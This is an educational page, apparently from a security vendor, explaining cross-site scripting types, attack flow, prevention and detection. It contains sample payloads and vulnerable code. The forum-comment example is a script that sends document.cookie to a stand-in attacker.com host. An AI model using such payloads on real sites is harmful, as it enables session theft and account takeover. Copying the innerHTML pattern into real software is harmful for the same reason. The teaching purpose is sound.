Cross-site scripting (XSS)

What is cross-site scripting (XSS)?

Cross-site scripting (XSS) is a client-side injection vulnerability that allows attackers to execute malicious scripts in a user’s browser by injecting untrusted code into a web application.

In general terms, XSS happens when an application includes user-controlled input in a web page without properly validating or encoding it, causing the browser to treat that input as executable code. Because the browser trusts the application, it also trusts the injected script – giving attackers access to sensitive data, user sessions, and application functionality.

Cross site scripting weaknesses are one of the most common types of web application vulnerability and are consistently included in the Injection category of the OWASP Top 10.

XSS impact in one sentence

Cross-site scripting (XSS) allows attackers to run malicious JavaScript in a victim’s browser through a trusted website.

How a cross-site scripting attack works

In a typical XSS attack, the attacker:

  1. Finds a point where the application accepts user input
  2. Injects malicious JavaScript into that input
  3. Tricks a victim into loading the affected page
  4. Executes the script in the victim’s browser

This turns the vulnerable application into a delivery mechanism for malicious code. The diagram below illustrates a typical attack flow.

Cross site scripting

    Why XSS vulnerabilities are dangerous

    XSS is often underestimated because it “only” runs in the browser, but the impact can be severe. Once executed, malicious scripts operate with the same permissions as the application.

    This means attackers can potentially:

    • Access session cookies and impersonate users
    • Read and modify the page DOM
    • Send arbitrary HTTP requests on behalf of the user
    • Interact with browser APIs such as storage and geolocation

    Malicious scripts might also use browser features such as fetch() or XMLHttpRequest to send data to external systems.

    While browsers enforce a same-origin policy, that boundary still includes everything the application itself can access. If the application can access sensitive data, so can the injected script.

    In practice, XSS is frequently used as a stepping stone for broader attacks such as session hijacking, phishing, and privilege escalation.

    Types of cross-site scripting (XSS)

    Types of XSS at a glance

    XSS type Payload location Execution trigger Typical impact
    Stored XSS Server-side (e.g. database) When users load stored content High – affects multiple users
    Reflected XSS Request (e.g. URL/form) When victim clicks crafted link Medium – requires user interaction
    DOM-based XSS Client-side (entirely in the browser) When JavaScript processes input Varies – often harder to detect
    Blind XSS Stored and triggered elsewhere When viewed in a different context (e.g. admin panel) High – targets privileged users

    In general, stored XSS poses a higher risk due to its persistence and ability to affect multiple users, while reflected XSS typically requires user interaction and only affects a single user.

    Stored XSS (persistent XSS)

    Stored XSS occurs when malicious input is saved on the server and later served to users. Common sources for stored XSS payloads include:

    • Comment sections
    • User profiles
    • Forums or message boards

    When a user views the affected content, the malicious script executes automatically. Because the payload is persistent, this type of XSS can affect many users and is often the most impactful.

    Reflected XSS

    Reflected XSS occurs when malicious input is included in a request and immediately reflected in the response. Typical vectors include:

    • URL parameters
    • Search queries
    • Form inputs

    The attack requires the victim to click a crafted link or interact with attacker-controlled input, which makes this a common technique in phishing campaigns.

    In a simplified example, the payload might be included in a query parameter:

    https://example.com/search?q=<script>alert('XSS')</script>

    In real-world scenarios, this payload would typically be obfuscated, encoded, and delivered through more complex input handling to bypass browser protections and web application firewalls.

    If the application reflects the q parameter value without encoding it, the script will execute in the victim’s browser.

    DOM-based XSS

    DOM-based XSS occurs entirely in the browser when client-side JavaScript modifies the Document Object Model of a page using untrusted data.

    In many cases, the payload never reaches the server at all and is processed entirely in the browser, for example via URL fragments (#). This is why server-side defenses and web application firewalls often fail to detect it.

    Example vulnerable code:

    document.getElementById("output").innerHTML = location.hash;

    An attack URL might be:

    https://example.com/#<img src=x onerror=alert('XSS')>

    Again, in practice, attackers often use more subtle payloads or encode input to bypass filters, but this example shows how untrusted data inserted into the DOM can execute code.

    When the page reads and injects the fragment into the DOM, the script executes.

    Blind XSS

    Blind XSS occurs when the injected payload executes in a different context than where it was submitted, such as an admin panel or internal tool.

    For example, an attacker might inject a payload into a User-Agent header that is later displayed in an internal analytics dashboard, executing in an administrator’s browser.

    Because the attacker cannot immediately observe the result, detection is more difficult, but the impact can be higher due to privileged targets.

    Example of a real-world XSS attack

    A simple example of XSS is injection into a forum comment field that does not properly encode user input. An attacker submits a comment like:

    <script>new Image().src='https://attacker.com/steal?cookie='+document.cookie</script>

    The payload sends the session cookie to an attacker-controlled server. If the application renders this input without encoding it, every user viewing the comment will execute the script. The attacker can then capture session cookies and potentially use them to hijack accounts.

    In real attacks, this payload might be obfuscated or split across multiple inputs to evade detection, but the core idea remains the same.

    Modern XSS risks in web applications

    XSS continues to evolve with modern application architectures and can be a risk in contexts that extend far beyond traditional web form submissions.

    XSS in single-page applications (SPAs)

    Frameworks such as React, Angular, and Vue include built-in protections against XSS attacks, but improper handling of dynamic content, unsafe rendering methods, or bypassing security features can still introduce vulnerabilities. For example, using dangerouslySetInnerHTML in React or bypassing Angular’s built-in sanitization can expose applications to XSS.

    API-driven applications

    Modern front ends consume data from APIs. If API responses are not properly validated and encoded before rendering, they can become XSS vectors.

    Chained attacks

    XSS is often combined with other vulnerabilities such as CSRF to increase impact, for example:

    • XSS combined with CSRF to perform unauthorized actions
    • XSS used to bypass weak Content Security Policies (CSP)
    • XSS chained with open redirects for phishing campaigns

    Common causes of XSS

    • Rendering user input without output encoding
    • Overreliance on client-side validation
    • Using unsafe DOM manipulation methods
    • Improper handling of API responses

    How to prevent cross-site scripting

    To minimize the risk of XSS, always validate input, encode output, avoid rendering untrusted data directly in the browser, and securely configure your CSP and cookies.

    Validate and sanitize input

    Treat all user input as untrusted. Apply strict validation rules and sanitize data before processing.

    Encode output

    Ensure all dynamic content is encoded before rendering. For example, if user input is inserted directly into a page, applying HTML encoding will neutralize any HTML tags:

    <!-- Unsafe -->
    <div>User input: <script>alert('XSS')</script></div>
    
    <!-- Safe -->
    <div>User input: &lt;script&gt;alert('XSS')&lt;/script&gt;</div>

    While input validation is also important, XSS is primarily prevented through proper context-aware output encoding to ensure that any untrusted data will always be treated as content rather than executable code.

    Use context-aware encoding to apply the right encoding method for HTML, JavaScript, and URLs.

    Use secure application frameworks

    Modern frameworks include built-in protections. Use them correctly and avoid bypassing security features.

    Implement Content Security Policy (CSP)

    Setting a Content Security Policy (CSP) header limits which scripts can execute by restricting allowed sources, blocking inline scripts, and preventing unsafe functions such as eval().

    Use HttpOnly cookies

    Mark session cookies as HttpOnly to prevent JavaScript from accessing them. This significantly reduces the impact of XSS by blocking common session theft techniques.

    Avoid dangerous DOM APIs

    Minimize the use of functions such as innerHTML that directly insert untrusted content into the DOM.

    Finding XSS vulnerabilities in your applications

    XSS vulnerabilities can be difficult to detect because they depend on runtime behavior, user interaction, and how browsers interpret dynamic content.

    Dynamic application security testing (DAST) is especially effective for identifying XSS because it tests applications from the outside in – interacting with running applications in the same way an attacker would.

    With a DAST solution such as Invicti, security teams can:

    • Automatically scan web applications and APIs for XSS vulnerabilities
    • Identify issues based on how the application actually behaves at runtime
    • Validate findings with real attack techniques to reduce false positives
    • Detect XSS across modern applications, including JavaScript-heavy front ends

    By focusing on vulnerabilities that can be reproduced in a live application, teams can prioritize real risk and fix issues faster without spending time on non-actionable findings. Request a demo to see proof-based detection at work in your environment – for XSS and other vulnerabilities.

    Frequently asked XSS questions

    XSS remains common because modern applications rely heavily on dynamic content, user input, and client-side rendering. Even with secure frameworks, improper handling of data or bypassing built-in protections can introduce vulnerabilities.

    XSS does not directly extract stored passwords, but it can capture some sensitive data entered by users, including login credentials, session cookies, and form inputs, depending on how the application is designed.

    No, HTTPS encrypts data in transit but does not prevent cross-site scripting. XSS exploits how applications handle user input in the browser, which is unrelated to transport-layer security.

    Frameworks such as React, Angular, and Vue include built-in protections against XSS, but they are not immune. Misusing features like direct DOM manipulation or bypassing sanitization mechanisms can still introduce vulnerabilities.

    Blind XSS occurs when a payload executes in a different context, such as an admin panel or internal system. It is dangerous because it often targets privileged users and can go undetected for longer periods.

    XSS can be tested manually by injecting payloads into inputs or automatically using dynamic application security testing (DAST) tools that scan running applications and verify exploitability.